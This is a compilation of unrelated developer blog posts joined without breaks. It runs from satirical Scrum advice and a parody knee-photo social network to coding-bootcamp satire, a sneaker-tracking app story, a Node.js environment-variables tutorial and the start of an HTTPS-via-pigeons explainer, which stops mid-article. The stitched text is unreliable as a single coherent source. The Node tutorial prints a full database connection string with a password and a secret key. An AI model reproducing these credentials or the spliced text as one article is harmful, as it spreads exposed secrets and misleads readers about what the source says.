The hard parts of Scrum and how to work around them. Further inspiration can be found here: ScrumBut.

Only the developers estimate

According to the Scrum Guide, only members of the development team are allowed to estimate development effort. Neither Scrum Master, nor Product Owner.

As a Product Owner, you should therefore subtly influence the estimates in your favor by asking questions like: "You can do that in two weeks, right?" Or: "I can't imagine that this is a lot of effort. Does anyone else see that?"

That way, you stay in control even when the going gets tough!

Done

Scrum calls for a potentially shippable product increment at the end of a Sprint: executable, tested and integrated software. Because this is one of the hardest parts of Scrum, there are several workarounds to make life a little easier.

First, learn to appreciate other artifacts as Sprint results as well. How about a completed analysis or architectural document? For this to work, you only need to adjust the Definition of Done.

Second, most importantly: do not forget the phases before Scrum and after Scrum.

Before Scrum, a planning phase of several months should take place, in which the project is approved and its scope is fixed.

After Scrum, you should have a test phase of at least several weeks until the product can finally be delivered. This workaround is particularly useful if you do not use any form of automated testing, integration or deployment.

The product owner sets priorities

According to the Scrum Guide, the Product Owner has the final say when prioritizing the Product Backlog.

This is uncomfortable. It would give the lower level management folks huge decision-making power. Real managers keep away from developers, in order to be able to make unpleasant decisions and enforce them.

Fortunately, there are now established roles such as the "Proxy Product Owner". Rightly applied, that role has no decision-making authority. PPOs merely pass on the announcements from the top to the developers and "take the responsibility" if something goes wrong.

So - these are my "recommendations" for you today.
What are your favorite Scrum hacks?

To get the basics of agile software development right, visit my online course. If you want to keep up with what I'm doing, follow me on dev.to, LinkedIn or twitter. Or visit my GitHub project.

There are two things every person has in common: knees. Your friends have knees. Your coworkers have knees. So does your Aunt Sally. And your Uncle Aloysius.

You. Me. Left knee. Right knee.

Yet, despite this common bond, people continue to argue, fight and hurt one another. There is conflict everywhere, both online and in the real world. But what if it were possible, after centuries of squabbling, to bring peace and harmony to all mankind through our shared identity. Well, that day has finally come.

Introducing Deez Knees, the first and only social network for sharing photos of knees — only knees.

Why knees?

I created Deez Knees to unify humanity. Some of us are taller than others. Some of us have dark hair and others have light hair. But when it comes to knees, there is little variety. A knee has only two parts: an interior component (the knee bone) and an exterior component (the knee skin). This is true for my knees, your knees, his knees and her knees. By sharing pictures of knees, we remind ourselves that deep down, beneath the knee skin, we are all basically the same.

Deez Knees promotes unity

You know what else Deez Knees promotes? Diversity. “Hey, hold on a second mister,” you might be thinking. “You just said all knees are the same, so how can your amazing new creation promote both unity and diversity?”

That, my friend, is the power of Deez Knees.

Scalable, configurable, technologicable

The core technology behind Deez Knees is a sophisticated knee-recognition algorithm. You can try to post a photo of something else, but it won’t work. Upload a picture of your elbow? No dice. Share a pic of your butt? Try Instagram.

Deez Knees is fully integrateable across all digital platforms — vertical, horizontal and diagonal. The user interface is intuitive, responsive and gratuitive. Your personal information will remain secure. We use triple-bypass, hexagonalical encryption with cross-key hashtags. All data on Deez Knees are stored not only in the cloud, but also in the mist and the yawn.

Do we use blockchain? Yes, indeed — 27 blockchains, to be precise. Users can also select the cryptocurrency of their choice: Bitcoin, CyberDime or WebDough. Our network is lightening fast. Images load quickly thanks to our middle-out compression algorithm, which is based on science and math. Deez Knees is also chocked full of nanotechnology and artificial intelligence.

Digital, Advanced Tech, The Future — Deez Knees

Making the world a better place

Most tech entrepreneurs care only about money and fame. They want to be the next high-profile billionaire, grace the covers of magazines, hobnob with celebrities. Not me. I created Deez Knees for you. For you and your knees.

Will there be advertising on Deez Knees? That goes without saying. Will I give your personal information to marketing companies? Yes, of course, but not for free. Will I sell Deez Knees to Facebook the first chance I get? You betcha.

But don’t let these minor business details distract you. Deez Knees was created for a higher purpose. There is too much bad in the world. Let’s inject a little bit of good. Actually, make that a whole lot of good.

I don’t know about you, but I think this world of ours is worth saving. Enough with the crime and the wars. Enough with the nasty YouTube comments and the silly Twitter beefs. Why so hostile? Friend, you have only one life. One life and two knees. Use them well.

That’s where Deez Knees comes in. Instead of clapping back at that internet troll, share a photo of your knees. You’ll both soon realize you aren’t so different after all. Instead of bashing Republicans, or Democrats or Saskatchewanians, scroll through your Deez Knees feed and reflect on how we are all diverse yet the same, different yet not so different, unequal in some ways yet — really, when you think about it, really think about it— always equal in all the ways that count.

Deez Knees turns nasty into nicety

It’s time, my friend. Time to make this world a better place. Time to bring light into darkness. Time to turn conflict into proflict. All we need is you, me and Deez Knees. We can do it. Two knees at a time.

The need for more web developers means that new faces will enter our industry every day. Awesome resources like freeCodeCamp keep the barriers to entry low. My hope for any newcomers is that they succeed in this field and enjoy the work they do.

These newcomers are going to meet a variety of personalities in the web development community. Some are cool, some not so much. I want to take a moment to zoom in on some of the poor attitudes out there. Why? If we categorize these bad attitudes, they become easier to identify and correct.

Disclaimer: The truth is that we are all guilty of most of these behaviors. I also am not calling out any particular individuals and neither should you. In fact, the point of this lighthearted theme is for us to self-reflect, laugh a little, and improve.

The Flintstone

Like many of your company’s senior developers, a Flintstone has been developing web apps since the last century. However, they use this seniority to be poor leaders.

The Flintstones found the tech stack that they like years ago. They use that as a reason to dismiss anything new. Sometimes, they will even end a conversation by listing their seniority.

When a peer of mine first encountered a Flintstone, it really bothered him. He wanted to become a senior developer at his company (and is crushing it), but not a Flintstone. He ended up writing the following letter to his future self to remember how to interact with new developers:

”Don’t kill someone’s enthusiasm or ideas. Appreciate the work, gauge if they understand the problem before assuming they don’t. Let them make their pitch and have an open mind, maybe you haven’t thought about it before. If it’s what you expected, be gentle, offer coaching or follow up.”

The Jetson

A Jetson comes from the future …or stays up-to-date on web dev trends using Twitter. They love trying the hot, new JavaScript package while it is in alpha.

The downside of a Jetson is that they don’t take the time to weigh the pros and cons of the new tech. They also don’t consider why the solution has not been done before. Maybe the new tech was really a new idea, but it could also be that people found a problem with it in the past.

The Butt-Head

A Butt-Head loves being on Twitter and web dev subreddits just like the Jetson. The problem is that they are not there to find new things to try. Instead, a Butt-Head seeks mystical internet points (upvotes, hearts, and likes) from peers. This means they will say anything to get those points.

These characters can be the worst for the web dev’s online communities. They put down posts without properly evaluating the information shared. Just because you are negative about something in the web dev community does not make you a Butt-Head. Butt-Heads are the ones quick to comment regardless of context.

The Lisa

Lisa is a talented developer with too many extracurriculars. She spends a lot of time on side projects, conference talks, and blog posts (cough, cough). This leads to a Lisa neglecting her share of actual team’s work. Her team is supportive of all that she does. They just wish she would be as bought-in to the whole teams’ goals.

The Dexter

Dexter is super-smart, but works on his own in his lab. He never writes documentation for others. There is no helpful README file to get started or inline comments to explain his code. Newcomers on the project struggle the most with a Dexter, no matter what level of experience.

The Princess Bubblegum

This one is a favorite of mine because I have heard about it countless times in the corporate world. A Princess Bubblegum loves having her kingdom (team) dependent on her. She never writes documentation like the Dexter, but on purpose. Her number one goal is to ensure job security and importance. Princess Bubblegum chooses obscure technologies for projects that nobody else knows. She is also horrible at making the effort to train peers.

The ThunderCat

Everything is a fight to a ThunderCat. Their technology needs to make the other technology seem obsolete. The ThunderCat believes their tech or way of doing things is the only way. It is also a tragedy to a ThunderCat if a teammate has a different way of writing CSS classnames.

A ThunderCat gets swept into the adrenaline rush of a good fight. Civil debates about how to do things within a team and the industry are healthy. What is also healthy is taking a step back to consider what is important in the debate.

The Rugrat

A Rugrat has imposter syndrome and is too scared to ask for help. What they tend to forget is that everyone else also struggles. After all, web development is a huge area with many topics. You will never be an expert in all of web development! Rugrats are usually associated with new web devs, but can really be anyone.

The Smurf

Smurfs only hang out with and lift up other Smurfs in their industry. A “Light Smurf” only interacts with and helps Smurfs that use similar tech or hold the same opinions.

The most dangerous Smurfs only give attention to Smurfs of the same gender, race, and other discriminatory values. This is terrible, because web development gets the most innovative ideas from a diverse and empowered community. If we do not proactively push for minority representation, our industry will stagnate.

Conclusion

Did these ‘toons bring back bad memories? Do you resonate with some of these characters? Got any other bad behaviors you think should be acknowledged? Please share them in the comments or tweet me them at @seejamescode!

These quick tricks will make learning to code as difficult and unrewarding as possible! *

Warning: contains satire…

1. Pick a really difficult language

Make sure to choose a difficult programming language. This will really set back your learn-to-code journey before it’s even started.

Don’t take any chances here. You may have heard some folks say that C++ or Java are challenging for beginners. But, even these can be mastered with a little extra patience and perseverance.

Perhaps you could pick up an old-fashioned language, like COBOL or PL/I. Or how about something really low level like assembly, or even machine code?

For a certain bet, why not try an esoteric language like Malbolge or Befunge or INTERCAL? Starting out with one of these languages will set you back several years already. Plus, their lack of job prospects will thoroughly demotivate you.

Whatever you do, don’t pick a modern, accessible and universally used language like JavaScript or Python or Ruby.

They might be in great demand and have countless free learning resources out there on the web. They may have large, supportive communities of fellow learners.

But where’s the struggle in all that?

_If learning to code doesn’t make you melancholy, you’re doing it wrong. Photo by [Unsplash](https://unsplash.com/@e_sykes?utm_source=medium&utm_medium=referral" rel="noopener" target="_blank" title="">Ethan Sykes on <a href="https://unsplash.com?utm_source=medium&utm_medium=referral" rel="noopener" target="blank" title=").

2. Set up a nightmare coding environment

You may have heard of various text editors and IDEs (integrated development environments) that can be downloaded or trialled for free. Examples include Sublime, Atom, VSCode, IntelliJ,… and many more besides.

Some people argue these can make writing code much more convenient and productive. Ignore these people.

Sure… autocompletion, syntax highlighting, code-linting, and access to all kinds of extension packages all sound like they’ll make coding easier. But the reality is completely different. No one who really knows how to write software needs to use them.

The fact that these editors and IDEs are widely used throughout industry by pros and experienced developers is irrelevant. It must be some kind of massive conspiracy, funded by Big Tech™ no doubt.

Terminal-based editors, like Vim or Emacs, are often cited as difficult to learn. However, even these can be learned with practice.

For a more challenging development environment, try Windows Notepad. Even better, turn your keyboard upside down and unplug your monitor.

Or, maybe you prefer this setup:

_Via [https://xkcd.com/378/](https://xkcd.com/378/" rel="noopener" target="blank" title=").

3. Tackle major projects early on

If you’re serious about learning to code, then everyone knows you should make world record progress.

After all, you should be able to build a realtime, distributed video and movie streaming platform within the first week, add an AI powered recommendation system after week two, and launch a zeitgeist-shifting, multi-billion dollar valued tech company within a month or so. Give or take a few days for hiring and firing.

And anyway, it’s not like there are many examples of beginner-friendly, step-by-step learning projects out there. Nor is it as easy as it has ever been to start contributing to popular, open-source projects.

So definitely don’t bother with that.

4. Never, ever ask for help

Despite its common, everyday meaning, in software development the word “beginner” actually refers to someone born with many years worth of experience and programming knowledge.

This is why real programmers never need to ask for help.

Plus, being new to something is a classic sign of weakness.

You don’t want to look weak, so don’t go asking for help when you think you might need it. Why make progress when you can learn the hard way?

Q&A websites such as StackOverflow may seem full of developers of all experience levels answering each other’s questions. But what do they actually know?

Admittedly, many of them are software pros with expert knowledge they want to share with programmers at all stages. But they’re absolutely not helping out real programmers… whatever that actually means.

_Learning web development? Don’t be asking for any help now… Photo by [Unsplash](https://unsplash.com/@kobuagency?utm_source=medium&utm_medium=referral" rel="noopener" target="_blank" title="">Kobu Agency on <a href="https://unsplash.com?utm_source=medium&utm_medium=referral" rel="noopener" target="blank" title=")

5. Take frequent six month breaks

You know what’s harder than learning to code?

It’s learning to code in two hour bursts, with six month breaks in between sessions.

Everyone knows the key to succeeding in any pursuit is inconsistency. Some people claim that practicing “little and often” is the best way to learn a new skill. These are usually the same people who say even 20 minutes a day can make a difference. They are wrong on both counts.

A long, six month break is the perfect amount of time to completely forget what you learned previously. If you can’t manage six months, then aim for at least three or four.

Just don’t get into a regular habit of making learning part of your normal routine. Routine tasks include brushing your teeth, tying your shoes, and flushing the toilet.

No one ever got good at these things by doing them every single day.

_You never got good at this by practicing every day. Photo by [Unsplash](https://unsplash.com/@nate_dumlao?utm_source=medium&utm_medium=referral" rel="noopener" target="_blank" title="">Nathan Dumlao on <a href="https://unsplash.com?utm_source=medium&utm_medium=referral" rel="noopener" target="blank" title=").

6. Don’t read around the topic

It’s a well known drawback of the Internet Age — there simply aren’t enough things to read, watch, and listen to online.

Perhaps you’ve heard of these so-called ‘blogs’, ‘online publications’, ‘news websites’, ‘podcasts’ and ‘video tutorials’. The bad news is, I have checked and can confirm they simply don’t exist.

Besides, does anyone seriously believe that reading around a topic helps you develop a broader understanding? Or that chance articles can spark your interest in directions you may never have considered otherwise?

And even if these mythical resources did exist, who’s to say they’d be high-quality, written by experts, and very often entirely free?

Perhaps you’re tempted to visit a bookstore or a library instead?

Well, bad news again. No one prints physical books anymore, because no one reads them. The Internet killed them off. Or did it?

_Interesting books and blogs exist only in stock photos. Photo by [Unsplash](https://unsplash.com/@anete_lusina?utm_source=medium&utm_medium=referral" rel="noopener" target="_blank" title="">Anete Lūsiņa on <a href="https://unsplash.com?utm_source=medium&utm_medium=referral" rel="noopener" target="blank" title=").

7. Avoid interacting with more experienced programmers

The number one rule of learning anything is “stay clear of experts”.

This is because most experts have short memories, and cannot remember what it was like when they were just starting out. It’s not their fault. Their brains are just too full of stuff you don’t know.

Experience is overrated anyhow… right? Right.

Many folks say pair programming is a great way of learning tricks and tips from more experienced developers. In reality, you’re more likely to pick up their bad habits/poor posture/cynical worldview.

Also, think back to the last time someone looked up to you enough to ask your advice on something they cared about. Remember how awful it made you feel?

So, do you really think experienced developers like talking about what they do? Of course not. They resent people who ask all the same questions they had when they started out.

_Are these guys pair programming? No. Photo by [Unsplash](https://unsplash.com/@helloquence?utm_source=medium&utm_medium=referral" rel="noopener" target="_blank" title="">Helloquence on <a href="https://unsplash.com?utm_source=medium&utm_medium=referral" rel="noopener" target="blank" title=")

8. Stay away from internships and job applications

Lastly, be sure to avoid Googling for internships and entry-level developer jobs in your area.

Certainly don’t apply for anything until you’ve authored the code used for a successful moon-landing, and can land a handwritten joint reference from Bill Gates and Tim Cook. Even then, think twice.

OK, so internships can provide real world experience of working in software as part of a team. They can let you get real feedback on how you are progressing. They can also help you decide if you are ready for a particular job role.

But! You have been misled if you think any of that will be useful to you as a professional developer.

Everyone knows that interns are a cheaper alternative to hiring an in-office barista. In reality, you’ll spend all your time brewing coffee. Remember, all the successful learn-to-code stories you have read omit this crucial detail.

Similarly, applying for jobs is a terrible idea.

Yes, it is true that looking at job applications can help you gauge which skills you should focus on developing next. But remember, companies always want you to be an expert at a hundred more skills than you can fit onto your resumé/CV, so this will be a never-ending process.

Even if you do apply for a job and get invited to an interview, be sure to decline. Interviews are scary, and never get easier with practice and experience. A much safer bet is to shut your eyes and wait for the jobs to come to you.

Definitely don’t put yourself out there and aim high!

Postscript

*Of course, if for some reason you wish to learn to code the easy way, follow the exact opposite of this advice.

Or maybe read just the bits in bold…

Pick a modern, accessible and universally used language like JavaScript or Python or Ruby.

… editors and IDEs are widely used throughout industry by pros and experienced developers

Autocompletion, syntax highlighting, code-linting, and access to all kinds of extension packages all … make coding easier

There are many beginner-friendly, step-by-step learning projects out there

It is as easy as it has ever been to start contributing to popular, open-source projects

StackOverflow… full of developers of all experience levels answering each other’s questions…

…software pros with expert knowledge they want to share with programmers at all stages

Practicing ‘little and often’ is the best way to learn a new skill

Even 20 minutes a day can make a difference

Get into a regular habit of making learning part of your normal routine

Reading around a topic helps you develop a broader understanding

Chance articles can spark your interest in directions you may never have considered otherwise

They can be high-quality, written by experts, and very often entirely free

Visit a bookstore or a library

Pair programming is a great way of learning tricks and tips from more experienced developers

Experienced developers like talking about what they do

Ask all the same questions they had when they were starting out

Internships can provide real world experience of working in software as part of a team. They can let you get real feedback on how you are progressing. They can also help you decide if you are ready for a particular job role

Looking at job applications can help you gauge which skills you should focus on developing next

Interviews… get easier with practice and experience

Put yourself out there and aim high!

Thanks for reading!

The story you are about to see is true; the names have been changed to protect the innocent.

_Python code by [nyuhuhuu](https://www.flickr.com/photos/nyuhuhuu/4653088356" rel="noopener" target="blank" title=").

Before the course begins

_[1919 ad for a Comptometer training school](https://commons.wikimedia.org/wiki/File:Comptometer_ad_1919.png" rel="noopener" target="blank" title=").

Don’t identify your target audience

Send the sign-up page to every subscriber under the sun who has ever given you their email address. Don’t have any information about their background or interests? Who cares, your course is SUPER IMPORTANT. It would be utterly remiss of you not to inform the hundreds of people who have ever entered their email address into your website.

Don’t mention the course content

Who doesn’t love a mystery?

Give no hint about pre-requisite skills

Let the mystery continue with providing only vague suggestions about how much prior programming people should have, and vague suggestions about prior languages that might be helpful.

Don’t cover anything about the sorts of programming people should have done.

Should they be familiar with writing functions? If so, how complicated? Who cares?

Provide no information about the time commitment

Again, don’t spoil the mystery! Everyone who signs up to a bootcamp has loads of time to spare. Therefore, this information is completely irrelevant.

Once the course starts

Printing to the console

It is compulsory for the initial code on the first day to print a message to the console. Be novel! Make them print something other than “Hello world”.

It is extremely important for programmers to know how to only print text they have supplied in the print command.

Don’t, whatever you do, emphasize how to incorporate results from their code into that print command on day 1. Bury this information.

Bury key syntax information

There are multiple pieces of information that can be buried!

Students must learn to read every sentence in your lesson carefully. Therefore, don’t put the key syntax points up the very top, at the start of lesson 1.

Instead, bury this information partway through lesson 1. Syntax is much less important than learning how to print “Hello world” to the console. It is also much less important than learning that + is the addition operator.

Put your lessons and your exercises on two separate screens

Learning how to use two screens is a skill that programmers must learn eventually. How better to teach them than by splitting the lessons and exercises? I mean, books have tended to have exercises at the end of each chapter. The book model is super important to use in online courses.

Headings, shmeadings

When teaching people how to code, don’t use headings for each subsection in a lesson. The learning experience is enhanced by making students scroll backwards and forwards. The longer the lessons page, the better! There’s always the “Find” option in their browser!

Bonus points: sometimes use headings, and sometimes not.

Hints and solutions

Hints and solutions that are commented out are useful to students. We sometimes get a bit stuck on why our code isn’t working. If we get really stuck, we can see how our code differs from the solution.

This experience is enhanced by ensuring that the hints and solutions return errors when run by students. Ignore the student comments that mention that the hints and solutions aren’t working.

This is particularly important in a bootcamp, where students have a different lesson each day, and the hints and solutions aren’t fixed ahead of the following day’s lesson.

Penalize students for creativity

There is only one way to write code. Use examples that encourage thinking about user-supplied input. Do not tell your students how to get the user-supplied input. Bury the code on how to generate random numbers (which can be used for debugging) in exercises marked as difficult.

Do not anticipate that user is good with Googlefoo. Obviously, because they have some prior programming experience, they have never used Google to locate code examples.

But assume they have Googlefoo for working out how to create random numbers to test their code. Or that they read the entirety of exercises marked as particularly challenging.

Allow their code to run perfectly on their lessons page. Then, after the student commits the code and the code is public, put up huge errors.

It’s their own fault, they should have looked at the hint. They could have just used the solution if they were really stuck.

Get course feedback on the first day

Everyone knows that the first lesson is the perfect time to get student feedback. The first lesson is the most difficult. How many students can correctly spell “Hello world”? Also, basic algebra is very complicated for programmers coming to a new language.

The mystery twist

I gave up after the second day.

I had a problem. Before I tell you about this problem, be warned — you will get emotional if you keep reading. Your heart will break for me. There will be weeping, so much weeping. You will be tempted to start a GoFundMe page to help ease my burden.

OK, here it is. Ready? Grab a tissue.

I have so many sneakers that I can’t remember all the pairs I own. Tragic, but true. The Red Cross has already declared this an international emergency.

Alright, alright — this is not a real problem. Well, maybe it’s the first-worldliest of first-world problems. Anyway, I’m not here to justify my obsession with retro sneakers (nostalgia, basketball fanatic, extra-feet syndrome). I’m here to explain why I created a web application to address this hyper-specific, undoubtedly trivial, quasi-problem-like situation that affects nobody but me.

I can neither confirm nor deny that I built a shelf in my basement just for (some of) my sneakers.

I began to learn JavaScript over a year ago as a hobby. I enjoy reading programming books, doing tutorials, and watching coding videos. Most of all, however, I like building things.

I have one rule for every software project I start. The end result must be something I will actually use.

Like anyone else, I sometimes need motivation to keep plugging away at a task when it becomes frustrating. Why am I sitting here debugging this code, in my free time, when I could be doing something far easier, like watching TV or drooling over Air Maxes on Instagram?

Sure, I’ve been tempted to quit on a personal software project. There would be no consequences. Nobody would care. Yet I never have. I’ve finished every project I’ve started (all three!) because I know that, eventually, after much head-scratching and Googling and sotto voce cursing, each app I create will be useful — to at least one person. And that person is … Barbra Streisand. Sorry, typo. And that person is … me.

Sneakerhead family photo.

Which brings us back to shoes. Some sneaker collectors stock but don’t rock. Not me. I’m the type of sneakerhead who wears all his shoes. On occasion, though, I’ve opened a long-sitting box to find myself looking at a pair of kicks that I not only hadn’t worn but had escaped my memory altogether.

Seeing those poor sneakers just sitting there — neglected, unworn, unloved — caused me much anguish. Surely, no man has suffered such insufferable suffering.

But save your sympathy, dear reader, and dry those eyes. For I have righted this horrible wrong, using nothing more than JavaScript and my wee, tiny brain. And Node. And Angular. And MongoDB. And Heroku. Stack Overflow also helped. And Git. And YouTube. Plus this computer-connecting thingy called “enterknit” or something.

He who is first shall be last, and he who is last shall be first. Eventually. My collection is much larger than this demo. I mean, can you even imagine owning only six pairs of sneakers? What am I, a caveman?

I created a very simple web application I called Collection Tracker (click here to try a demo). It allows me to enter my sneaker collection into a database and browse a grid of images. Each morning, I open the application in Chrome (on my phone), I pick the pair I want to wear (on my feet), I press the “wear today” button (with my finger), and that day’s date is added to the database entry for those shoes (by digital magic).

The picture of that pair then drops to the last position of the last page of images. So when I open Collection Tracker, I first see pictures of the sneakers that have been sitting on my shelf the longest. No more neglected Nikes. No more abandoned ASICS. No more shunned Skechers. (Haha — Skechers. As if. Friends don’t let friends wear Skechers.)

This is just a test. I wouldn’t wear a pair four times in the same month. I have a reputation to uphold.

Could I have just downloaded an existing app to my phone to organize my sneaker collection? Yes, of course. But you know what? Using this app is much more fun for me because I made it. It’s silly, but I really do look forward to pressing that “wear today” button every morning. Because I know it will call a function in my program, and that function will generate an HTTP request to Node, and Node will tell MongoDB to update my database, and that day’s date will be pushed into an array somewhere out there in the cloud.

There is something so rewarding about using the software you created from scratch. It’s not just text on GitHub. It’s not just part of a portfolio. It’s part of your life.

I also still use the first web application I made, called First and Last, which I described in a previous post for freeCodeCamp. It allows users to enter the first and last sentences of books into a database. I intended it to be a learning resource for other writers who, like me, enjoy improving their craft by studying the work of great authors. For months after I deployed it, though, I was the only person using this app, as you can see from the GIF below.

These sentences were added by me, and by me, and by me, and also by … me.

Sure, it would be great if other people were interested in my project, but, again, I was fine with being the only user. Just as I enjoy using my sneaker-tracking app, I look forward to finishing a book so I can enter its first and last sentences into my database. Then I click back to the homepage and watch the number indicating the collection size increase by one. They say you should enjoy the little things in life, and this is indeed a little, but enjoyable, thing.

I have to read only 667 more books to reach quadruple digits.

Then, one day, I noticed something when I visited First and Last. Someone had entered a pair of sentences — and that someone wasn’t me! In fact, that someone was … Barbra Streisand. Again, I apologize. The Barbra Streisand key on my keyboard appears to be stuck. Let’s try that again.

In fact, that someone was … another human being (I presume). Since then, about 100 people have registered and logged into my app, and some have made contributions, which I really appreciate. Turns out that when you build something for yourself, it’s possible that other people will stumble upon it and use it as well.

Hello other humans! Thanks for the sentences.

One of the most fun parts of learning programming, if not the most fun part, is creating new things that actually do something. First, you had a blank screen on a text editor. Then you wrote some code. Then you had software — it may not be elegant or sophisticated or efficient, but it works. It performs the tasks you wanted it to perform. Maybe you’ll end up being the only person who ever uses that software. So what.

If it’s useful to you, it’s useful.

You may not have saved the world, or made any money, or attracted many users, but you made something from nothing. You learned a lot and created a tool that makes your life a little more convenient, or a little more fun. You added something of value to the universe — limited value, perhaps, but value nonetheless. The only code guaranteed to be useless is the code you don’t write.

Environment variables are a fundamental part of Node development, but for some reason I never bothered with learning how to properly use them.

Maybe because they are called “Environment Variables.”

Just the words “Environment Variable” trigger a PTSD-laced flashback in which I am trying to add the correct path to the Java Home directory on Windows. Does it go in PATH or JAVA_HOME or both? Do I need to end it with a semicolon? WHY AM I USING JAVA?

_KILLME

In Node, environment variables can be global (like on Windows), but are often used with a specific process that you want to run. For instance, if you had a web application, you might have environment variables that define:

• The HTTP Port to listen on
• The Database Connection String
• The JAVA_HOME…wait…no — sorry. The healing process takes time.

In this context, environment variables are really more like “Configuration Settings.” See how much nicer that sounds?

If you’ve done .NET before, you might be familiar with something like a web.config file. Node environment variables work much the same was as settings in a web.config — they’re a way for you to pass in information that you don’t want to hard code.

Quoting yourself is the pinnacle of delusion

But how do you use these variables in your Node application? I had a hard time finding good resources on this with the requisite amount of Java jokes, so I decided to create one. Here are some of the different ways you can define and then read environment variables in your Node applications.

Pass it in the terminal

You can pass environment variables on the terminal as part of your Node process. For instance, if you were running an Express app and wanted to pass in the port, you could do it like this…

PORT=65534 node bin/www

Fun fact: port 65535 is the largest TCP/IP network value available. How do I know that? StackOverflow of course. How does anybody know anything? But you can only go as high as port 65534 for a web app because that’s the highest port Chrome will connect to. How do I know that? Because Liran Tal told me in the comments. You should follow him. Between the two of us he’s the one who knows what he’s doing.

Now to use the variable in your code, you would use the process.env object.

var port = process.env.PORT;

But this could get ugly. If you had a connection string, you probably wouldn’t want to start passing multiple variables on the terminal. It would look like you are hoarding configuration values, and someone who loves you could stage an intervention and that would be awkward for everyone involved.

PORT=65534
DB_CONN="mongodb://react-cosmos-db:swQOhAsVjfHx3Q9VXh29T9U8xQNVGQ78lEQaL6yMNq3rOSA1WhUXHTOcmDf38Q8rg14NHtQLcUuMA==@react-cosmos-db.documents.azure.com:10255/?ssl=true&replicaSet=globaldb"
SECRET_KEY="b6264fca-8adf-457f-a94f-5a4b0d1ca2b9"

This doesn’t scale, and everyone wants to scale. According to every architect I’ve ever sat in a meeting with, “scaling” is more important than the application even working.

So let’s look at another way: .env files.

Use a .env file

.env files allow you to put your environment variables inside a file. You just create a new file called .env in your project and slap your variables in there on different lines.

PORT=65534

DB_CONN="mongodb://react-cosmos-db:swQOhAsVjfHx3Q9VXh29T9U8xQNVGQ78lEQaL6yMNq3rOSA1WhUXHTOcmDf38Q8rg14NHtQLcUuMA==@react-cosmos-db.documents.azure.com:10255/?ssl=true&replicaSet=globaldb"

SECRET_KEY="b6264fca-8adf-457f-a94f-5a4b0d1ca2b9"

To read these values, there are a couple of options, but the easiest is to use the dotenv package from npm.

npm install dotenv --save

Then you just require that package in your project wherever you need to use environment variables. The dotenv package will pick up that file and load those settings into Node.

Use dotenv to read .env vars into Node
require('dotenv').config();
var MongoClient = require('mongodb').MongoClient;

// Reference .env vars off of the process.env object
MongoClient.connect(process.env.DB_CONN, function(err, db) {
  if(!err) {
    console.log("We are connected");
  }
});

PROTIP: Don’t check your .env file into Github. It has all you secrets in it and Github will email you and tell you so. Don’t be like me.

OK — Nice. But this is kind of a pain. You have to put this in every single file where you want to use environment variables AND you have to deploy the dotenv to production where you don’t actually need it. I’m not a huge fan of deploying pointless code, but I guess I just described my whole career.

Luckily, you are using VS Code (because of course you are), so you have some other options.

Working with .env files in VS Code

First off, you can install the DotENV extension for code which will give you nice syntax highlighting in your .env files.

DotENV - Visual Studio Marketplace
Extension for Visual Studio Code - Support for dotenv file syntax
marketplace.visualstudio.com

The VS Code Debugger also offers some more convenient options for loading values from .env files if you are using the VS Code Debugger.

VS Code Launch Configurations

The Node debugger for VS Code (already there, no need to install anything) supports loading in .env files via launch configurations. You can read more more about Launch Configurations here.

When you create a basic Node Launch Configuration (click on the gear and select Node), you can do one or both of two things.

The first is you can simply pass variables in on the launch config.

This is nice, but the fact that every value has to be a string bothers me a bit. It’s a number, not a string. JavaScript only has, like, 3 types. Don’t take one of them away from me.

There is a simpler way here. We’ve already learned to love .env files, so instead of passing them, we can just give VS Code the name of the .env file.

And as long as we are starting our process from VS Code, environment variables files are loaded in. We don’t have to mutilate numbers into strings and we aren’t deploying worthless code into production. Well, at least you aren’t.

Starting with NPM instead of Node

You might have gotten this far and thought, “Burke, I never ever run node anything. It’s always an npm script like npm start”.

In this case you can still use VS Code Launch configs. Instead of using a standard Node Launch process, you add a config that is a “Launch Via NPM” task.

Now you can add back in your envFile line and tweak the runtimeArgs so that they launch the correct script. This is usually something like “start” or “debug”.

Note that you have to add the --inspect flag to your npm script so that VS Code can attach the debugger. Otherwise the task will launch, but the VS Code debugger will time out like me trying to get a date in high school.

Production environment variables

So far we’ve looked at how to define variables for development. You likely won’t use .env files in production, and VS Code Launch Configurations aren’t going to be super helpful on a server.

In production, variables will be defined however your platform of choice allows you to do so. In the case of Azure, there are 3 different ways to define and manage environment variables.

The first way is to use the Azure CLI.

az webapp config appsettings set -g MyResourceGroup -n MyApp --settings PORT=65534

Which works, but, ew.

Another way is via the Azure web portal. I don’t always use a web portal, but when I do, it’s to set environment variables.

In the case of Azure, these are called “Application Settings”.

And since you are using VS Code, you can install the App Service extension and manage all the App Settings right from the editor.

I love not having to leave VS Code to do anything. I would write emails in VS Code if I could.

WAIT A MINUTE!

markdown-mail - Visual Studio Marketplace
Extension for Visual Studio Code - Using markdown to write your email and send！
marketplace.visualstudio.com

Now you know

Now you know what I know (which aint a lot, let me tell you) and I feel like I accomplished my goal of a tasteful amount of Java jokes along the way. Just in case I didn’t, I’ll leave you with this one.

Java is a very powerful tool for turning XML into stack traces

— Unknown

Satire Disclaimer: Most of this is a poor attempt at humor, and some of it at the expense of Java; which isn’t nice but is very easy. These jokes don’t write themselves.

Korean translation
Portuguese translation
Spanish translation
Mongolian translation
Persian translation
Vietnamese translation

Cryptography can be a hard subject to understand. It’s full of mathematical proofs. But unless you are actually developing cryptographic systems, much of that complexity is not necessary to understand what is going on at a high level.

If you opened this article hoping to create the next HTTPS protocol, I’m sorry to say that pigeons won’t be enough. Otherwise, brew some coffee and enjoy the article.

Alice, Bob and … pigeons?

Any activity you do on the Internet (reading this article, buying stuff on Amazon, uploading cat pictures) comes down to sending and receiving messages to and from a server.

This can be a bit abstract so let’s imagine that those messages were delivered by carrier pigeons. I know that this may seem very arbitrary, but trust me HTTPS works the same way, albeit a lot faster.

Also instead of talking about servers, clients and hackers, we will talk about Alice, Bob and Mallory. If this isn’t your first time trying to understand cryptographic concepts you will recognize those names, because they are widely used in technical literature.

A first naive communication

If Alice wants to send a message to Bob, she attaches the message on the carrier pigeon’s leg and sends it to Bob. Bob receives the message, reads it and it’s all is good.

But what if Mallory intercepted Alice’s pigeon in flight and changed the message? Bob would have no way of knowing that the message that was sent by Alice was modified in transit.

This is how HTTP works. Pretty scary right? I wouldn’t send my bank credentials over HTTP and neither should you.

A secret code

Now what if Alice and Bob are very crafty. They agree that they will write their messages using a secret code. They will shift each letter by 3 positions in the alphabet. For example D → A, E → B, F → C. The plain text message “secret message” would be “pbzobq jbppxdb”.

